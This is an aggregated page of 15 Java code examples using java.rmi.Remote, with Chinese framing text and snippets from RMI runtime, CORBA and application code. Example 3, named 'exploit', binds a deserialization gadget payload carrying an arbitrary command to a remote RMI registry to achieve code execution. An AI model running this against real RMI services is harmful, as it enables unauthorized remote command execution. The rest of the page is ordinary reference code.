本文整理匯總了Java中java.rmi.Remote類的典型用法代碼示例。如果您正苦於以下問題:Java Remote類的具體用法?Java Remote怎麽用?Java Remote使用的例子?那麽, 這裏精選的類代碼示例或許可以為您提供幫助。
Remote類屬於java.rmi包,在下文中一共展示了Remote類的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。
示例1: prepare
import java.rmi.Remote; //導入依賴的package包/類
/**
* Fetches RMI stub on startup, if necessary.
* @throws RemoteLookupFailureException if RMI stub creation failed
* @see #setLookupStubOnStartup
* @see #lookupStub
*/
public void prepare() throws RemoteLookupFailureException {
// Cache RMI stub on initialization?
if (this.lookupStubOnStartup) {
Remote remoteObj = lookupStub();
if (logger.isDebugEnabled()) {
if (remoteObj instanceof RmiInvocationHandler) {
logger.debug("RMI stub [" + getServiceUrl() + "] is an RMI invoker");
}
else if (getServiceInterface() != null) {
boolean isImpl = getServiceInterface().isInstance(remoteObj);
logger.debug("Using service interface [" + getServiceInterface().getName() +
"] for RMI stub [" + getServiceUrl() + "] - " +
(!isImpl ? "not " : "") + "directly implemented");
}
}
if (this.cacheStub) {
this.cachedStub = remoteObj;
}
}
}
示例2: setSkeleton
import java.rmi.Remote; //導入依賴的package包/類
/**
* Discovers and sets the appropriate skeleton for the impl.
*/
public void setSkeleton(Remote impl) throws RemoteException {
if (!withoutSkeletons.containsKey(impl.getClass())) {
try {
skel = Util.createSkeleton(impl);
} catch (SkeletonNotFoundException e) {
/*
* Ignore exception for skeleton class not found, because a
* skeleton class is not necessary with the 1.2 stub protocol.
* Remember that this impl's class does not have a skeleton
* class so we don't waste time searching for it again.
*/
withoutSkeletons.put(impl.getClass(), null);
}
}
}
示例3: exploit
import java.rmi.Remote; //導入依賴的package包/類
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
CmdExecuteHelper cmdHelper = new CmdExecuteHelper("none", command);
Object payload = payloadObj.getObject(cmdHelper);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
示例4: getRemoteEntityFromHost
import java.rmi.Remote; //導入依賴的package包/類
public static Remote getRemoteEntityFromHost(String host, int puerto, String identEntity) throws java.rmi.RemoteException {
Registry regCliente = LocateRegistry.getRegistry(host, puerto);
Object remoteEntity = null;
// ItfUsoRecursoTrazas trazas = Directorio.getRecursoTrazas();
try {
if (regCliente == null) {
// System.err.println("buscarAgenteRemoto regCliente == null");
// if (trazas != null)
trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", " No se puede obtener la entidad : "+
identEntity + " No se consigue encontrar el registro RMI del Host :" + host + " puerto:" + puerto, NivelTraza.debug));
}
return regCliente.lookup(identEntity);
} catch (Exception ex) {
System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());
trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", " No se puede obtener la entidad : "+
identEntity + " No se consigue encontrar el registro RMI del Host :" + host + " puerto:"+ puerto , NivelTraza.debug));
// Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
return null;
}
}
示例5: getRemoteEntityFromRegistryRMIOg
import java.rmi.Remote; //導入依賴的package包/類
public static Remote getRemoteEntityFromRegistryRMIOg(String identEntity){
try {
if ( registroRMIOrganizacion != null )
return registroRMIOrganizacion.lookup(identEntity);
else registroRMIOrganizacion = getRegistroRMIOrganizacion();
if ( registroRMIOrganizacion != null )
return registroRMIOrganizacion.lookup(identEntity);
trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", "No consigo encontrar el registro de la organizacion : "+
identEntity , NivelTraza.debug));
}catch(Exception ex) {
System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());
trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", "Error en la busqueda en el registro de la organizacion. No puedo encontrar : "+
identEntity + "\n Revisar la descripcion de la organizacion", NivelTraza.error));
// Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
return null;
}
return null;
}
示例6: getRemoteEntityFromLocalRegistryRMI
import java.rmi.Remote; //導入依賴的package包/類
public static Remote getRemoteEntityFromLocalRegistryRMI(String identEntity){
try {
if ( registroRMILocal != null )
return registroRMILocal.lookup(identEntity);
else registroRMILocal = getRegistroRMInodoLocal();
if ( registroRMILocal != null )
return registroRMILocal.lookup(identEntity);
trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", "No consigo encontrar el registro Local : "+
identEntity , NivelTraza.debug));
}catch(Exception ex) {
System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());
trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", "Error en la busqueda en el registro Local. No puedo encontrar : "+
identEntity , NivelTraza.debug));
// Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
return null;
}
return null;
}
示例7: unexportObject
import java.rmi.Remote; //導入依賴的package包/類
/**
* Remove the remote object, obj, from the RMI runtime. If
* successful, the object can no longer accept incoming RMI calls.
* If the force parameter is true, the object is forcibly unexported
* even if there are pending calls to the remote object or the
* remote object still has calls in progress. If the force
* parameter is false, the object is only unexported if there are
* no pending or in progress calls to the object.
*
* @param obj the remote object to be unexported
* @param force if true, unexports the object even if there are
* pending or in-progress calls; if false, only unexports the object
* if there are no pending or in-progress calls
* @return true if operation is successful, false otherwise
* @exception NoSuchObjectException if the remote object is not
* currently exported
*/
public static boolean unexportObject(Remote obj, boolean force)
throws java.rmi.NoSuchObjectException
{
synchronized (tableLock) {
Target target = getTarget(obj);
if (target == null) {
throw new NoSuchObjectException("object not exported");
} else {
if (target.unexport(force)) {
removeTarget(target);
return true;
} else {
return false;
}
}
}
}
示例8: getRemoteInterfaces
import java.rmi.Remote; //導入依賴的package包/類
/**
* Fills the given array list with the remote interfaces implemented
* by the given class.
*
* @throws IllegalArgumentException if the specified class implements
* any illegal remote interfaces
* @throws NullPointerException if the specified class or list is null
*/
private static void getRemoteInterfaces(ArrayList<Class<?>> list, Class<?> cl) {
Class<?> superclass = cl.getSuperclass();
if (superclass != null) {
getRemoteInterfaces(list, superclass);
}
Class<?>[] interfaces = cl.getInterfaces();
for (int i = 0; i < interfaces.length; i++) {
Class<?> intf = interfaces[i];
/*
* If it is a remote interface (if it extends from
* java.rmi.Remote) and is not already in the list,
* then add the interface to the list.
*/
if (Remote.class.isAssignableFrom(intf)) {
if (!(list.contains(intf))) {
Method[] methods = intf.getMethods();
for (int j = 0; j < methods.length; j++) {
checkMethod(methods[j]);
}
list.add(intf);
}
}
}
}
示例9: registerTarget
import java.rmi.Remote; //導入依賴的package包/類
/**
* Registers a target for a tie. Adds the tie to an internal table and calls
* {@link Tie#setTarget} on the tie object.
* @param tie the tie to register.
* @param target the target for the tie.
*/
public void registerTarget(javax.rmi.CORBA.Tie tie, java.rmi.Remote target)
{
synchronized (exportedServants) {
// Do we already have this target registered?
if (lookupTie(target) == null) {
// No, so register it and set the target...
exportedServants.put(target,tie);
tie.setTarget(target);
// Do we need to instantiate our keep-alive thread?
if (keepAlive == null) {
// Yes. Instantiate our keep-alive thread and start
// it up...
keepAlive = (KeepAlive)AccessController.doPrivileged(new PrivilegedAction() {
public java.lang.Object run() {
return new KeepAlive();
}
});
keepAlive.start();
}
}
}
}
示例10: activate
import java.rmi.Remote; //導入依賴的package包/類
synchronized MarshalledObject<? extends Remote>
activate(ActivationID id,
boolean force,
ActivationInstantiator inst)
throws RemoteException, ActivationException
{
MarshalledObject<? extends Remote> nstub = stub;
if (removed) {
throw new UnknownObjectException("object removed");
} else if (!force && nstub != null) {
return nstub;
}
nstub = inst.newInstance(id, desc);
stub = nstub;
/*
* stub could be set to null by a group reset, so return
* the newstub here to prevent returning null.
*/
return nstub;
}
示例11: unexportObject
import java.rmi.Remote; //導入依賴的package包/類
/**
* Deregisters a server object from the runtime, allowing the object to become
* available for garbage collection.
* @param obj the object to unexport.
* @exception NoSuchObjectException if the remote object is not
* currently exported.
*/
public void unexportObject(Remote obj)
throws NoSuchObjectException {
if (obj == null) {
throw new NullPointerException("invalid argument");
}
if (StubAdapter.isStub(obj) ||
obj instanceof java.rmi.server.RemoteStub) {
throw new NoSuchObjectException(
"Can only unexport a server object.");
}
Tie theTie = Util.getTie(obj);
if (theTie != null) {
Util.unexportObject(obj);
} else {
if (Utility.loadTie(obj) == null) {
UnicastRemoteObject.unexportObject(obj,true);
} else {
throw new NoSuchObjectException("Object not exported.");
}
}
}
示例12: getStateToBind
import java.rmi.Remote; //導入依賴的package包/類
/**
* Returns the CORBA object for a Remote object.
* If input is not a Remote object, or if Remote object uses JRMP, return null.
* If the RMI-IIOP library is not available, throw ConfigurationException.
*
* @param orig The object to turn into a CORBA object. If not Remote,
* or if is a JRMP stub or impl, return null.
* @param name Ignored
* @param ctx The non-null CNCtx whose ORB to use.
* @param env Ignored
* @return The CORBA object for {@code orig} or null.
* @exception ConfigurationException If the CORBA object cannot be obtained
* due to configuration problems, for instance, if RMI-IIOP not available.
* @exception NamingException If some other problem prevented a CORBA
* object from being obtained from the Remote object.
*/
public Object getStateToBind(Object orig, Name name, Context ctx,
Hashtable<?,?> env) throws NamingException {
if (orig instanceof org.omg.CORBA.Object) {
// Already a CORBA object, just use it
return null;
}
if (orig instanceof Remote) {
// Turn remote object into org.omg.CORBA.Object
// Returns null if JRMP; let next factory try
// CNCtx will eventually throw IllegalArgumentException if
// no CORBA object gotten
return CorbaUtils.remoteToCorba((Remote)orig, ((CNCtx)ctx)._orb);
}
return null; // pass and let next state factory try
}
示例13: main
import java.rmi.Remote; //導入依賴的package包/類
public static void main(String[] args) {
try {
int registryPort =
Integer.parseInt(System.getProperty("rmi.registry.port"));
Registry registry =
LocateRegistry.getRegistry("", registryPort);
Remote stub = registry.lookup(LeaseCheckInterval.BINDING);
Runtime.getRuntime().halt(0);
} catch (Exception e) {
e.printStackTrace();
}
}
示例14: oldDispatch
import java.rmi.Remote; //導入依賴的package包/類
/**
* Handle server-side dispatch using the RMI 1.1 stub/skeleton
* protocol, given a non-negative operation number that has
* already been read from the call stream.
* Exceptions are handled by the caller to be sent to the remote client.
*
* @param obj the target remote object for the call
* @param call the "remote call" from which operation and
* method arguments can be obtained.
* @param op the operation number
* @throws Exception if unable to marshal return result or
* release input or output streams
*/
private void oldDispatch(Remote obj, RemoteCall call, int op)
throws Exception
{
long hash; // hash for matching stub with skeleton
// read remote call header
ObjectInput in;
in = call.getInputStream();
try {
Class<?> clazz = Class.forName("sun.rmi.transport.DGCImpl_Skel");
if (clazz.isAssignableFrom(skel.getClass())) {
((MarshalInputStream)in).useCodebaseOnly();
}
} catch (ClassNotFoundException ignore) { }
try {
hash = in.readLong();
} catch (Exception ioe) {
throw new UnmarshalException("error unmarshalling call header", ioe);
}
// if calls are being logged, write out object id and operation
logCall(obj, skel.getOperations()[op]);
unmarshalCustomCallData(in);
// dispatch to skeleton for remote object
skel.dispatch(obj, call, op, hash);
}
示例15: invoke
import java.rmi.Remote; //導入依賴的package包/類
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
{
throw new UnsupportedOperationException();
}